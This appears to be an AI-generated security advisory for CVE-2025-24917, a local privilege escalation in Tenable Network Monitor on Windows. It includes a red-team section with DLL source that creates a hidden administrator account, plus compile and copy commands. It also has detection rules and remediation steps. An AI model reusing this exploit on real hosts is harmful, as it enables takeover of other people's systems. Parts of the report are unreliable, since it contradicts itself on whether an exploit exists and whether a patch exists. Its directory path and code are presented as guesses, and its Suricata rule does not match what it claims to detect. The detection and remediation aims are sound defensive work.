CVE-2025-24917

Executive Summary

CVE-2025-24917 is a local privilege escalation vulnerability in Tenable Network Monitor versions prior to 6.5.1 running on Windows hosts. A non-administrative user can stage files in a local directory to execute arbitrary code with SYSTEM privileges. This flaw allows an attacker with low-privileged access to fully compromise the host, gaining complete control over the system and any data accessible to the Tenable Network Monitor service. The vulnerability is currently unpatched for versions below 6.5.1, and no public proof-of-concept or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the high CVSS score of 7.8 underscores the severity if exploited.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a non-administrative user account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential for denial of service.

Threat Level: High. While no active exploitation has been observed, the low complexity and high impact make this a critical risk for any organization using Tenable Network Monitor on Windows.

Deep Dive & Mechanics

The vulnerability resides in how Tenable Network Monitor handles file staging on Windows. The software runs as a Windows service with SYSTEM privileges. A non-administrative user can write files to a specific directory that the service monitors or processes. By staging a malicious file (e.g., a DLL or executable) in this directory, the attacker can trigger the service to load or execute it with SYSTEM privileges.

Root Cause: Improper access control on the staging directory or insecure file loading mechanisms. The service does not verify the integrity or origin of files placed in the monitored directory, allowing any local user to inject arbitrary code.

Attack Flow:

1. Attacker gains low-privileged access to the Windows host (e.g., via phishing, weak credentials, or another vulnerability).
2. Attacker identifies the staging directory used by Tenable Network Monitor (e.g., C:\ProgramData\Tenable\NetworkMonitor\staging).
3. Attacker places a malicious DLL or executable in that directory.
4. The Tenable Network Monitor service, running as SYSTEM, loads or executes the staged file.
5. The attacker's code runs with SYSTEM privileges, granting full control over the host.

Vulnerable vs. Patched Code

Vulnerable Version (< 6.5.1):

• The service monitors a directory writable by non-administrative users.
• No integrity checks are performed on files before loading.
• Example (pseudocode):

  // Vulnerable: Loads any DLL from staging directory
  string stagingDir = "C:\\ProgramData\\Tenable\\NetworkMonitor\\staging";
  foreach (string file in Directory.GetFiles(stagingDir, "*.dll"))
  {
      Assembly.LoadFrom(file); // No validation
  }
  

Patched Version (6.5.1):

• The staging directory is restricted to administrators only.
• File integrity checks (e.g., digital signatures) are enforced.
• Example (pseudocode):

  // Patched: Only loads signed DLLs from admin-only directory
  string stagingDir = "C:\\ProgramData\\Tenable\\NetworkMonitor\\staging";
  if (!IsAdmin()) throw new UnauthorizedAccessException();
  foreach (string file in Directory.GetFiles(stagingDir, "*.dll"))
  {
      if (VerifyDigitalSignature(file))
      {
          Assembly.LoadFrom(file);
      }
  }
  

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows host with Tenable Network Monitor < 6.5.1 installed.
• Low-privileged user account (e.g., user1).

Steps:

1. Identify the staging directory (e.g., C:\ProgramData\Tenable\NetworkMonitor\staging).
2. Create a malicious DLL that spawns a reverse shell or adds a user to the Administrators group.

   // malicious.cpp
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           system("net user attacker P@ssw0rd! /add && net localgroup Administrators attacker /add");
       }
       return TRUE;
   }
   

3. Compile the DLL: x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.cpp
4. Copy the DLL to the staging directory:

   copy malicious.dll C:\ProgramData\Tenable\NetworkMonitor\staging\
   

5. Wait for the service to load the DLL (or trigger a restart/scan).
6. The attacker account is created with admin privileges.

Blue Team (Detection & Response)

Detection:

• Monitor file writes to C:\ProgramData\Tenable\NetworkMonitor\staging\ by non-admin users.
• Alert on new DLLs or executables appearing in that directory.
• Use Sysmon Event ID 11 (FileCreate) and Event ID 7 (ImageLoad) to track DLL loads.

Response:

• Immediately isolate the affected host.
• Review the staging directory for unauthorized files.
• Check for new user accounts or privilege escalations.
• Upgrade to Tenable Network Monitor 6.5.1.

Indicators of Compromise (IOCs)

• File Path: C:\ProgramData\Tenable\NetworkMonitor\staging\*.dll (unexpected DLLs)
• Process: TenableNetworkMonitor.exe loading unsigned DLLs from the staging directory.
• Registry: New entries under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run for persistence.
• User Account: Unexpected local administrator accounts (e.g., attacker).
• Network: Outbound connections from TenableNetworkMonitor.exe to unknown IPs (if reverse shell used).

Detection Engineering

YARA Rule

rule CVE_2025_24917_Staging_DLL {
    meta:
        description = "Detects malicious DLLs staged for CVE-2025-24917 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24917"
    strings:
        $s1 = "C:\\ProgramData\\Tenable\\NetworkMonitor\\staging" nocase
        $s2 = "TenableNetworkMonitor.exe" nocase
    condition:
        $s1 or $s2
}

Sigma Rule

title: CVE-2025-24917 - Tenable Network Monitor Staging Directory Abuse
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects file writes to the Tenable Network Monitor staging directory by non-admin users.
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        TargetFilename|contains: 'C:\ProgramData\Tenable\NetworkMonitor\staging'
    condition: selection
falsepositives:
    - Legitimate updates by administrators
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2025-24917 - Potential Tenable Network Monitor Reverse Shell";
    flow:to_server,established;
    content:"|2f|staging|2f|"; http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Tenable Network Monitor version 6.5.1 or later.
2. Restrict the staging directory permissions to only administrators:

   icacls "C:\ProgramData\Tenable\NetworkMonitor\staging" /inheritance:r /grant Administrators:(OI)(CI)F /grant SYSTEM:(OI)(CI)F
   

3. Monitor the staging directory for unauthorized file writes using Sysmon or EDR.

Long-Term Measures:

• Implement the principle of least privilege for all services.
• Enable Windows Defender Application Control (WDAC) to block unsigned DLLs.
• Regularly audit service accounts and directory permissions.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.